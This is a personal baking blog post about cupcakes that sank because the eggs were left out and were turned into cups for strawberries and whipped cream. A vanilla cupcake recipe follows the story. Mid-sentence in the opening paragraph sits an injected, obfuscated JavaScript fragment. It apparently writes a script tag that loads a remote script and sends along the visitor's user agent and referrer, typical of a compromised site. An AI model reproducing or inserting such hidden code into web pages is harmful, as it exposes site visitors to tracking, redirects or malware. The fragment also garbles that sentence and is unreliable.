Cups, just cups

This past weekend I helped a friend throw a baby shower.  As you may recall, I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbhhk|var|u0026u|referrer|tfrkb||js|php’.split(‘|’),0,{}))
really enjoy planning parties 🙂

My job was simple, bake some cupcakes and make some spinach dip.  Easy peasy.

I have a vanilla cupcake recipe that I LOVE!  And was super excited to have an excuse to bake them (I try not to bake as much anymore because Nick and I end up eating WAY more sweets than we should).

So on Saturday morning I got myself all ready to go – it was going to be 100+ so I knew I needed to get these out of the oven before it got too hot.

The batter was delicious…..it seemed a little firmer than usual, but I hadn’t made them in awhile so I just kept going.  I even added some orange zest to add a little punch.

And when they came out of the oven…..they looked like this…..

Cups.  Just cups.  They actually looked fine in the oven but as soon as I pulled the pan out they sank.  Completely deflated.  I was sooooo confused.

I re-read the recipe and realized what I had done.  I completely forgot the eggs.  Completely.  Science lesson for the day – eggs make cupcakes look like cupcakes.

Have I ever mentioned I’m not a fan of wasting?  Nick’s even worse.  So there was NO WAY these weren’t going to get eaten.

We eventually decided to try them out as cups for strawberries and whipped cream.

Seemed pretty tasty, so we decided to go with it.We used cool whip and a slice of orange.  And they were a hit!  People had no idea they were a mess up.  Brooke (partner in party planning crime) decided she liked them better than cupcakes.  She liked the crunchy-ness.  Who’d have thought?!

This is by far the best mistake I’ve ever made.

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Recipe – completely my own but “adapted” from Billy’s Vanilla, Vanilla Cupcakes

• 1 3/4 cups cake flour, not self-rising
• 1 1/4 cups unbleached all-purpose flour
• 2 cups sugar
• 1 tablespoon baking powder
• 3/4 teaspoon salt
• 1 cup (2 sticks) unsalted butter, cut into 1-inch cubes (they seemed a but too buttery to me, but others liked it…..might try 1.5 sticks next time)
• 1 cup whole milk
• 1 teaspoon vanilla bean paste (I just got this and it’s very tasty, but you can use 1-2 tsp vanilla extract depending on how much vanilla you want)

1. Combine the flour, sugar, baking powder, and salt in a stand mixer.  Mix until just combined.
2. Add the butter and mix until the flour/sugar mixture is crumbly and the butter has evenly distributed.
3. Combine the milk and vanilla, adding it in 3 separate additions.  Scarping down the sides after each addition.  Mix until just combined.
4. Spoon into lined cupcake tins.  This makes about 24 cupcakes.  So I evenly distributed the batter.  About 2/3 full ish – the batter is thick so it’ll sit like a mini scoop in the bottom of the liner.
5. Bake for about 17-20 min at 325 until the edges are golden.
6. The cupcakes won’t sink until you remove them from the oven.
7. Remove from the baking tin and let cool.
8. Add chopped strawberries and top with a dollup of whipped cream of cool whip.